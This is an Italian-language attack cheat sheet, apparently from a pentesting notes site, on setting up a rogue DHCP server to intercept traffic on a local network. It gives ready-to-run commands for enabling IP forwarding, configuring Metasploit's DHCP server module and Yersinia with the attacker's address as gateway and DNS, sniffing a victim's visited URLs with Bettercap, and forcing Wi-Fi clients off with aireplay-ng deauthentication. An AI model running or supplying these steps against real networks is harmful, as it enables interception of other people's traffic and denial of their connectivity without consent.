tags: Rogue_DHCP_Server sniffing active_sniffing


Questo attacco si basa sulla creazione di un server DHCP falso che immettiamo nella rete, quando un dispositivo ha bisogno di un indirizzo IP all’interno della rete al posto che chiedere al server DHCP legittimo chiederà al nostro server falso e tutto il traffico che passerà da lui passerà anche attraverso di noi e potremo sniffare tutto.

Metasploit

Portforwarding

 
sudo sysctl -w net.ipv4.ip_forward=1  #Questo comando attiva il Portforwading
 
cat /proc/sys/net/ipv4/ip_forward  #Questa verifica deve restituire 1 
use auxiliary/server/dhcp
 
set DNSSERVER 8.8.8.8    #Oppure il DNS server del router tipo 192.168.1.1
set NETMASK 255.255.255.0 
set SRVHOST 192.168.1.141

Impostare il DNS server è molto importante perchè altrimenti il traffico non viene correttamente dirottato e i client non riuscono ad utilizzare internet.

Esempio

L’indirizzo IP dell’attaccante in questo caso è 192.168.1.141.

show options
 
Module options (auxiliary/server/dhcp):
 
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND                     no        The last IP to give out
   DHCPIPSTART                   no        The first IP to give out
   DNSSERVER    8.8.8.8          no        The DNS server IP address
   DOMAINNAME                    no        The optional domain name to assign
   FILENAME                      no        The optional filename of a tftp boot server
   HOSTNAME                      no        The optional hostname to assign
   HOSTSTART                     no        The optional host integer counter
   NETMASK      255.255.255.0    yes       The netmask of the local subnet
   ROUTER                        no        The router IP address
   SRVHOST      192.168.1.141    yes       The IP of the DHCP server
 
 
Auxiliary action:
 
   Name     Description
   ----     -----------
   Service  Run DHCP server
 

Nel caso si voglia chiudere il server possiamo fare CTRL+C e poi:

jobs         #Per listare i server attivi
kill <id>  #Per uccidere i server
 
#Nel caso desse problemi con i jobs riavvia il database
 
sudo service postgresql restart
sudo msfdb restart
sudo msfconsole
 

Per chiudere il portforwading possiamo usare il seguente comando:

sudo sysctl -w net.ipv4.ip_forward=0

Cattura URL

Per catturare gli url che la vittima sta visitando possiamo utilizzare Bettercap tramite i seguenti comandi:

sudo bettercap -iface wlan0
net.sniff on

Deautenticazione

Se il WiFi ha il WPA3 oppure o WPA+PMF questo attacco non avrà effetto, nel qual caso ti consiglio di effettuare un ARP Spoofing che trovi a questa pagina Bettercap.

Airmon-ng

sudo airmon-ng start wlan0
sudo airodump-ng wlan1mon
#Disconnessione tutti gli utenti
sudo aireplay-ng --deauth 10 -a <BSSID> wlan1mon
#Disconnessione utente mirato
sudo aireplay-ng --deauth 10 -a <BSSID> -c <MAC_CLIENT> wlan1mon
sudo airmon-ng stop wlan1mon

Yersinia

Questo strumento è meno efficace di Metasploit.

Portforwarding

 
sudo sysctl -w net.ipv4.ip_forward=1  #Questo comando attiva il Portforwading
 
cat /proc/sys/net/ipv4/ip_forward  #Questa verifica deve restituire 1 
sudo yersinia -I

La scheda di rete la trova in automatico una volta entrati, cliccare invio.

Poi andare nella pagina DHCP tramite F2 oppure tramite gDHCP

Poi digitare X e in seguito scegliere la voce Rogue DHCP Server.

Ora inserire i campi:

  • Server ID = Metti l’indirizzo della macchina attaccante
  • Start IP = Inizio del range che vogliamo usare per assegnare gli indirizzi
  • End IP = Fine range che vogliamo usare per assegnare indirizzi
  • Subnet Mask = 255.255.255.0
  • Router = Metti l’indirizzo della macchina attaccante
  • DNS Server = Metti l’indirizzo della macchina attaccante
  • Domain = dominio fittizio